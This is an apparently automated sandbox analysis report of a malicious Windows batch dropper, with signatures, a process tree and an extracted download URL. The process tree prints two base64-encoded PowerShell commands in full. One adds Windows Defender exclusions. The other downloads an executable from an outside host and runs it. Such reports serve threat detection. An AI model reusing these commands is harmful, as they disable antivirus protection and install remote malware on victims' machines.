Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/09/2026, 07:28

General

  • Target
    a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat
  • Size 1KB
  • Sample260909-japjmstdna
  • SHA256 a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://tempshare.su/raw_files/31KwJH94Fi7W

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4624
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\a0eb25e8c0a4db91353f5f5869b0836533dd7a87203400a3537cea2999fabbc5.bat" MINIMIZED
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3580
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:5588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRXhjbHVzaW9uc1xQYXRocyIgLU5hbWUgIkM6XCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICIwIiAtRm9yY2U7IEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblByb2Nlc3MgIlBvd2VyU2hlbGwuZXhlIg==')); Invoke-Expression $de"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6004
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGV4ZUZpbGUgPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRlbnY6VEVNUCwgJ3NldHVwLmV4ZScpOyAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly90ZW1wc2hhcmUuc3UvcmF3X2ZpbGVzLzMxS3dKSDk0Rmk3VycsICRleGVGaWxlKTsgU3RhcnQtUHJvY2VzcyAkZXhlRmlsZQ==')); Invoke-Expression $de"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5380

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d5159b12064e2220c23d3f0c31dcab1c91bc28856ade3582702f64117d4a7c6c
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_nesxp3vq.sa1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nesxp3vq.sa1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/5380-15-0x000001A0DDD40000-0x000001A0DDD50000-memory.dmp

          memory/5380-14-0x000001A0DDD40000-0x000001A0DDD50000-memory.dmp

          memory/5380-24-0x000001A0DDD40000-0x000001A0DDD50000-memory.dmp

          memory/5380-25-0x000001A0DDD40000-0x000001A0DDD50000-memory.dmp

          memory/6004-0-0x000002D32A370000-0x000002D32A380000-memory.dmp

          memory/6004-1-0x000002D312150000-0x000002D312172000-memory.dmp

          memory/6004-9-0x000002D32A370000-0x000002D32A380000-memory.dmp

          memory/6004-12-0x000002D32C3F0000-0x000002D32C60C000-memory.dmp